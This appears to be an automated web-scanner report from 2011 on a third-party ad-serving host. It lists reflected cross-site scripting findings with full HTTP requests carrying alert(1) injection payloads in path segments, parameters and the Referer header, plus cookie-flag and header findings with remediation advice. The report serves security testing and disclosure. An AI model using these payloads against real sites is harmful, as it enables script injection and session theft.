Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9cc84"-alert(1)-"f176a4fef5c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /jsi/adi9cc84"-alert(1)-"f176a4fef5c/N4682.132309.BURSTMEDIA/B4421704.7;sz=300x250;click=http://www.burstnet.com/ads/ad19083a-map.cgi/BCPG174597.252798.300824/VTS=29iU7.jjkA/SZ=300X250A/V=2.3S//REDIRURL=;ord=3925? HTTP/1.1 Host: ad.doubleclick.net.57389.9231.302br.net Proxy-Connection: keep-alive Referer: http://www.bostonherald.com/includes/processAds.bg?position=Middle1&companion=Top,Middle,Middle1,Bottom&page=bh.heraldinteractive.com%2Ftrack%2Fhome Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=342128F502247A5E0A2B3E23143AA362; Path=/ Content-Type: text/html Content-Length: 7197 Date: Sat, 29 Jan 2011 01:55:07 GMT Connection: close
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a5ce1"-alert(1)-"42b69e5e783 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /jsi/adi/N4682.132309.BURSTMEDIAa5ce1"-alert(1)-"42b69e5e783/B4421704.7;sz=300x250;click=http://www.burstnet.com/ads/ad19083a-map.cgi/BCPG174597.252798.300824/VTS=29iU7.jjkA/SZ=300X250A/V=2.3S//REDIRURL=;ord=3925? HTTP/1.1 Host: ad.doubleclick.net.57389.9231.302br.net Proxy-Connection: keep-alive Referer: http://www.bostonherald.com/includes/processAds.bg?position=Middle1&companion=Top,Middle,Middle1,Bottom&page=bh.heraldinteractive.com%2Ftrack%2Fhome Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=A1FD6EEE9A8663932F7BDCC831DC7153; Path=/ Content-Type: text/html Content-Length: 7197 Date: Sat, 29 Jan 2011 01:55:08 GMT Connection: close
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a0ee1"-alert(1)-"bd76f740cf was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /jsi/adi/N4682.132309.BURSTMEDIA/B4421704.7a0ee1"-alert(1)-"bd76f740cf;sz=300x250;click=http://www.burstnet.com/ads/ad19083a-map.cgi/BCPG174597.252798.300824/VTS=29iU7.jjkA/SZ=300X250A/V=2.3S//REDIRURL=;ord=3925? HTTP/1.1 Host: ad.doubleclick.net.57389.9231.302br.net Proxy-Connection: keep-alive Referer: http://www.bostonherald.com/includes/processAds.bg?position=Middle1&companion=Top,Middle,Middle1,Bottom&page=bh.heraldinteractive.com%2Ftrack%2Fhome Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=9F66F5B713694023D3CE9D57322BE3AC; Path=/ Content-Type: text/html Content-Length: 7196 Date: Sat, 29 Jan 2011 01:55:08 GMT Connection: close
1.4. http://ad.doubleclick.net.57389.9231.302br.net/jsi/adi/N4682.132309.BURSTMEDIA/B4421704.7 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ad.doubleclick.net.57389.9231.302br.net
Path:
/jsi/adi/N4682.132309.BURSTMEDIA/B4421704.7
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 11090"-alert(1)-"5cd4535793b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /jsi/adi/N4682.132309.BURSTMEDIA/B4421704.7;sz=300x250;click=http://www.burstnet.com/ads/ad19083a-map.cgi/BCPG174597.252798.300824/VTS=29iU7.jjkA/SZ=300X250A/V=2.3S//REDIRURL=;ord=3925?&11090"-alert(1)-"5cd4535793b=1 HTTP/1.1 Host: ad.doubleclick.net.57389.9231.302br.net Proxy-Connection: keep-alive Referer: http://www.bostonherald.com/includes/processAds.bg?position=Middle1&companion=Top,Middle,Middle1,Bottom&page=bh.heraldinteractive.com%2Ftrack%2Fhome Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=5127D245BC3250ACF31540E5AF36C9C9; Path=/ Content-Type: text/html Content-Length: 7201 Date: Sat, 29 Jan 2011 01:55:06 GMT Connection: close
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload facb6"-alert(1)-"b1f9c18d965 was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /jsi/adi/N4682.132309.BURSTMEDIA/B4421704.7;sz=300x250;click=http://www.burstnet.com/ads/ad19083a-map.cgi/BCPG174597.252798.300824/VTS=29iU7.jjkA/SZ=300X250A/V=2.3S//REDIRURL=;ord=3925?facb6"-alert(1)-"b1f9c18d965 HTTP/1.1 Host: ad.doubleclick.net.57389.9231.302br.net Proxy-Connection: keep-alive Referer: http://www.bostonherald.com/includes/processAds.bg?position=Middle1&companion=Top,Middle,Middle1,Bottom&page=bh.heraldinteractive.com%2Ftrack%2Fhome Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=CBEEFDB089EB7BC4DEF5E5E91E7C4697; Path=/ Content-Type: text/html Content-Length: 7198 Date: Sat, 29 Jan 2011 01:55:06 GMT Connection: close
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c5169"-alert(1)-"6db9eb136ba was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /jss/adjc5169"-alert(1)-"6db9eb136ba/N4682.132309.BURSTMEDIA/B4421704.7 HTTP/1.1 Host: ad.doubleclick.net.57390.9231.302br.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=52485E91EC42E968E3BD3A7776779500; Path=/ Content-Type: text/javascript Content-Length: 6820 Date: Sat, 29 Jan 2011 05:20:30 GMT Connection: close
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 88a12"-alert(1)-"4fefc518825 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /jss/adj/N4682.132309.BURSTMEDIA88a12"-alert(1)-"4fefc518825/B4421704.7 HTTP/1.1 Host: ad.doubleclick.net.57390.9231.302br.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=7D54379AD5454BE506B7140F745360AC; Path=/ Content-Type: text/javascript Content-Length: 6820 Date: Sat, 29 Jan 2011 05:20:31 GMT Connection: close
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2e5d1"-alert(1)-"6727e37c905 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /jss/adj/N4682.132309.BURSTMEDIA/B4421704.72e5d1"-alert(1)-"6727e37c905 HTTP/1.1 Host: ad.doubleclick.net.57390.9231.302br.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=6C3A37B834F620543E1586EF494A62CC; Path=/ Content-Type: text/javascript Content-Length: 6820 Date: Sat, 29 Jan 2011 05:20:31 GMT Connection: close
The value of the abr request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dc3cc"-alert(1)-"89837e3663b was submitted in the abr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /jss/adj/N4682.132309.BURSTMEDIA/B4421704.7;abr=!ie;sz=300x250;click=http://www.burstnet.com/ads/ad19083a-map.cgi/BCPG174597.252798.300824/VTS=29iU7.jjkA/SZ=300X250A/V=2.3S//REDIRURL=;ord=3925?dc3cc"-alert(1)-"89837e3663b HTTP/1.1 Host: ad.doubleclick.net.57390.9231.302br.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=CB04512BF419206D1DEA473C1878274B; Path=/ Content-Type: text/javascript Content-Length: 6970 Date: Sat, 29 Jan 2011 05:20:27 GMT Connection: close
1.10. http://ad.doubleclick.net.57390.9231.302br.net/jss/adj/N4682.132309.BURSTMEDIA/B4421704.7 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ad.doubleclick.net.57390.9231.302br.net
Path:
/jss/adj/N4682.132309.BURSTMEDIA/B4421704.7
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 881c8"-alert(1)-"8139a7defa5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /jss/adj/N4682.132309.BURSTMEDIA/B4421704.7?881c8"-alert(1)-"8139a7defa5=1 HTTP/1.1 Host: ad.doubleclick.net.57390.9231.302br.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=7E827396F7BF67C1E502BB2D40424D9B; Path=/ Content-Type: text/javascript Content-Length: 6834 Date: Sat, 29 Jan 2011 05:20:27 GMT Connection: close
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 909ef"-alert(1)-"44de56eaa23 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /jsi/adi/N4682.132309.BURSTMEDIA/B4421704.7;sz=300x250;click=http://www.burstnet.com/ads/ad19083a-map.cgi/BCPG174597.252798.300824/VTS=29iU7.jjkA/SZ=300X250A/V=2.3S//REDIRURL=;ord=3925? HTTP/1.1 Host: ad.doubleclick.net.57389.9231.302br.net Proxy-Connection: keep-alive Referer: http://www.google.com/search?hl=en&q=909ef"-alert(1)-"44de56eaa23 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=6D8A06AB61E2CD22ACDBB645CBD9740D; Path=/ Content-Type: text/html Content-Length: 7086 Date: Sat, 29 Jan 2011 01:55:06 GMT Connection: close
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 20871"-alert(1)-"47bce010404 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /jss/adj/N4682.132309.BURSTMEDIA/B4421704.7 HTTP/1.1 Host: ad.doubleclick.net.57390.9231.302br.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=20871"-alert(1)-"47bce010404
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=07CB13A74C1386A227CBF5EF34B9112E; Path=/ Content-Type: text/javascript Content-Length: 6853 Date: Sat, 29 Jan 2011 05:20:27 GMT Connection: close
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /jsi/adi/N4682.132309.BURSTMEDIA/B4421704.7;sz=300x250;click=http://www.burstnet.com/ads/ad19083a-map.cgi/BCPG174597.252798.300824/VTS=29iU7.jjkA/SZ=300X250A/V=2.3S//REDIRURL=;ord=3925? HTTP/1.1 Host: ad.doubleclick.net.57389.9231.302br.net Proxy-Connection: keep-alive Referer: http://www.bostonherald.com/includes/processAds.bg?position=Middle1&companion=Top,Middle,Middle1,Bottom&page=bh.heraldinteractive.com%2Ftrack%2Fhome Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=1B2A83185956BA19ABB6FE6E70A6C415; Path=/ Content-Type: text/html Content-Length: 7169 Date: Fri, 28 Jan 2011 22:47:58 GMT Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /jss/adj/N4682.132309.BURSTMEDIA/B4421704.7 HTTP/1.1 Host: ad.doubleclick.net.57390.9231.302br.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=23121407506AF928BA0892656699F17B; Path=/ Content-Type: text/javascript Content-Length: 6792 Date: Sat, 29 Jan 2011 05:20:26 GMT Connection: close
The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.
Common explanations for Referer-dependent responses include:
Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defenses are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.
Issue remediation
The Referer header is not a robust foundation on which to build any security measures, such as access controls or defenses against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.
If the contents of responses is updated based on Referer data, then the same defenses against malicious input should be employed here as for any other kinds of user-supplied data.
Request 1
GET /jsi/adi/N4682.132309.BURSTMEDIA/B4421704.7;sz=300x250;click=http://www.burstnet.com/ads/ad19083a-map.cgi/BCPG174597.252798.300824/VTS=29iU7.jjkA/SZ=300X250A/V=2.3S//REDIRURL=;ord=3925? HTTP/1.1 Host: ad.doubleclick.net.57389.9231.302br.net Proxy-Connection: keep-alive Referer: http://www.bostonherald.com/includes/processAds.bg?position=Middle1&companion=Top,Middle,Middle1,Bottom&page=bh.heraldinteractive.com%2Ftrack%2Fhome Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 1
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=2667D6E67A1B439BD1357045C7EEE079; Path=/ Content-Type: text/html Content-Length: 7169 Date: Sat, 29 Jan 2011 01:55:05 GMT Connection: close
/* * note: this is just here for reference */ var testTypes = { a : 'top.location.href', b : 'parent.location.href', c : 'parent.document.referrer', d : 'window.location.href', e : 'window.document.referrer', f : ...[SNIP]...
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
Request
GET /jsi/adi/N4682.132309.BURSTMEDIA/B4421704.7;sz=300x250;click=http://www.burstnet.com/ads/ad19083a-map.cgi/BCPG174597.252798.300824/VTS=29iU7.jjkA/SZ=300X250A/V=2.3S//REDIRURL=;ord=3925? HTTP/1.1 Host: ad.doubleclick.net.57389.9231.302br.net Proxy-Connection: keep-alive Referer: http://www.bostonherald.com/includes/processAds.bg?position=Middle1&companion=Top,Middle,Middle1,Bottom&page=bh.heraldinteractive.com%2Ftrack%2Fhome Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=1B2A83185956BA19ABB6FE6E70A6C415; Path=/ Content-Type: text/html Content-Length: 7169 Date: Fri, 28 Jan 2011 22:47:58 GMT Connection: close